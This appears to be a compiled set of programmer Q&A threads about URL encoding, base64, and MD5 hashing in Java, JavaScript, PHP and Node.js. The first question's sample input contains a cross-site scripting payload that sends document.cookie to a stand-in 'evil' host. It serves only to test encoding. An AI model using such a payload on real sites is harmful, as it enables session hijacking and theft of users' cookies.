I encoded the query string below with the forURIComponent method of the OWASP encoder.
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery, and the decoded string should be exactly equal to the original query. How can I do this?
I assume you're talking about the OWASP Java Encoder. As far as I can tell, it does not supply any decoding functions.
However, since the Encode.forUriComponent() method implements standard URL percent encoding, you can use any correctly implemented URL decoding function to decode it. For example in Java, according to the answers to this question, you could use java.net.URLDecoder.
In JavaScript, decodeURIComponent() should do the trick. If you need to parse a URI containing (possibly) multiple parameters, however, you may find the URL class (or URLSearchParams) more convenient to use.
Related
What is the best way to attach URL to query string in javascript? I realize that it needs to be encoded.
I've come across encodeURIComponent() function, which looks like the thing that I want. I am just unsure if it is suitable for this kind of task.
Example usage:
var someURL = encodeURIComponent("http://stackoverflow.com/questions/ask?name=.hil#");
var firstURL = "www.stackoverflow.com/questions?someurl="
firstURL+someURL;
Your choices are encodeURI and encodeURIComponent.
encodeURIComponent is the right choice because you are encoding part of the URL (which happens to be URL-like but that doesn't matter here).
If you were to use encodeURI, it would not convert enough of the characters in the component.
I’d like to use a set of REST API through JavaScript and I’m reading the documentation explaining how to implement authentication.
The following instructions are illustrated in pseudocode but I have some issue on understanding how to implement it in JavaScript (my JS level is quite basic).
This is the unclear part:
= FromBytesToBase64String(MD5Hash("{\n \"data\": {\n \"type\": \"company\",\n \"id\": \"879f2dfc-57ea-4dbb-96c7-c546f8812f1e\",\n \"external_1_value\": \"Updated value\"\n }\n}"))
Basically I should calculate MD5 hash of the string in question and then I should encode it in base 64 string If I understood well.
The documentation shows the flow broken in sub-steps:
= FromBytesToBase64String(b'eC\xcda\xa3\xa7\xaf\xa53\x93\xb4.\xa2\xb1\xe3]')
And then the final result:
"ZUPNYaOnr6Uzk7QuorHjXQ=="
I tried to do the same by using crypto.js library and I get a MD5 hash string but then how can I get this value "ZUPNYaOnr6Uzk7QuorHjXQ==" ?
Any idea on how I could do it?
Thanks so much for helping!
That final result is the base64 encoded string. The function FromBytesToBase64String is what produces it, but this is not a standard function in JavaScript.
Instead, try using one of the built-in functions documented here. Specifically:
window.btoa(MD5Hash("Your input string"));
window.btoa(MD5Hash("Your input string")); does not work because btoa takes the md5 string and converts that character by character, hence you need to feed it an byte array.I ended up combining ArrayBuffer to base64 encoded string
with https://github.com/pvorb/node-md5/issues/25
into :
function md5ToBase64(md5String,boolTrimLast){
var strRet = arrayBufferToBase64(hexByteStringToByteArray(md5String));
return boolTrimLast?strRet.slice(0,22):strRet;
}
use the btoa() function to get a base64 encoded string.
Use WindowBase64.btoa():
var encodedData = window.btoa(md5Hash);
I am trying to encode a string in javascript and decode it in php.
I use this code to put the string in a inputbox and then send it via form PUT.
document.getElementById('signature').value= b64EncodeUnicode(ab2str(signature));
And this code to decode
$signature=base64_decode($signature);
Here there is a jsfiddle for the encoding page:
https://jsfiddle.net/okaea662/
The problem is that I always get a string 98% correct but with some different characters.
For example: (the first string is the string printed in the inputbox)
¦S÷ä½m0×C|u>£áWÅàUù»¥ïs7Dþ1Ji%ýÊ{\ö°(úýýÁñxçO9Ù¡ö}XÇIWçβÆü8ú²ðÑOA¤nì6S+̽ i¼?¼ºNËÒo·a©8»eO|PPþBE=HèÑqaX©$Ì磰©b2(Ðç.$nÈR,ä_OX¾xè¥3éÂòkå¾ N,sáW§ÝáV:ö~Å×à<4)íÇKo¡L¤<Í»äA(!xón#WÙÕGù¾g!)ùC)]Q(*}?Ìp
¦S÷ ä½m0×C|u>£áWÅàUù»¥ïs7Dþ1Ji%ýÊ{\ö°(úýýÁñxçO9Ù¡ö}XÇIWçβÆü8ú²ðÑOA¤nì6S+̽ i¼?¼ºNËÒo·a©8»eO|PPþBE=HèÑ qaX©$Ì磰©b2(Ðç.$nÈR,ä_OX¾xè¥3éÂòkå¾ N ,sá W§ÝáV:ö~Å×à<4)íÇKo¡L¤<Í»äA(!xón#WÙÕGù¾g!)ùC)]Q(*}?Ìp
Note that the 4th character is distinct and then there is one or two more somewhere.
The string corresponds to a digital signature so these characters make the signature to be invalid.
I have no idea what is happening here. Any idea? I use Chrome browser and utf-8 encoding in header and metas (Firefox seems to use a different encoding in the inputbox but I will look that problem later)
EDIT:
The encoding to base64 apparently is not the problem. The base64 encoded string is the same in the browser than in the server. If I base64-decode it in javascript I get the original string but if I decode it in PHP I get a slightly different string.
EDIT2:
I still don't know what the problem is but I have avoided it sending the data in a blob with ajax.
Try using this command to encode your string with js:
var signature = document.getElementById('signature');
var base64 = window.btoa(signature);
Now with php, you simply use: base64_decode($signature)
If that doesn't work (I haven't tested it) there may be something wrong with the btoa func. So checkout this link here:
https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
There is a function in there that should work (if the above does not)
function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);
}));
}
b64EncodeUnicode(signature); // "4pyTIMOgIGxhIG1vZGU="
I would like to take a JSON string and encrypt/hash/encode it so that I can put it into a URL so that it would resemble something such as seen below:
var stringToEncode = JSON.stringify({foo: 'baz', bar: [1,2,3,4,5], baz: {fizzle: 'buzz'}});
'www.myrandomurl.com/someurl/123fas234asf1543rasfsafda'
I would then like to take that encrypted/hashed/encoded string, and decode it back to its original JSON string so that I can use it to bind to various elements on a single-page AngularJS application.
The contents of the JSON string are not sensitive so security or complex hashing is not required. The only condition is that It needs to be a "URL/URI 'safe'" string that is hashed for vanity purposes like seen above.
I am limited in knowledge of encrypting/encoding however I have thought about simply encoding the string to Base64 and decoding it again.
Is this the best approach? What is a better method if not?
Use encodeURIComponent() to encode it for the url
To decode use the decodeURIComponent() function
Base64 is not URL safe since it can contain non url characters like / + -. (See this question)
If you want your url to not be too similair to the original string you can first covert to base64 and then encode and reverse by decoding and covrrtibg back from base 64
// to url
encodeURIComponent(btoa(str))
// from url
atob(decodeURIComponent(uri))
I am creating a re-director of sorts in nodejs. I have a few values like
userid // superid
these I would like to hash to prevent users from retrieving the url and faking someone else's url and also base64 encode to minimize the length of the url created.
http://myurl.com/~hashedtoken
where un-hashed hashtoken could be something like this
55q322q23
55 = userid
I thought about using crypto library like so:
crypto.createHash('md5').update("55q322q23").digest("base64");
which returns: u/mxNJQaSs2HYJ5wirEZOQ==
The problem here is that I have the / which is not considered websafe so I would like to strip the un-safe letters from the base64 list of letters, somehow. Any ideas about this or perhaps a better solution to the problem at hand?
You could use a so called URL safe variant of Base64. The most common variant, described in RFC 4648, uses - and _ instead of + and / respectively, and omits padding characters (=).
Most implementations of Base64 support this URL safe variant too, though if yours doesn't, it's easy enough to do manually.
Here's what I used. Comments welcome :-)
The important bit is buffer.toString('base64'), then URL-safeing that base64 string with a couple of replace()s.
function newId() {
// Get random string with 20 bytes secure randomness
var crypto = require('crypto');
var id = crypto.randomBytes(20).toString('base64');
// Make URL safe
return id.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Based on the implementation here.
Makes a string safe for URL's and local email addresses (before the #).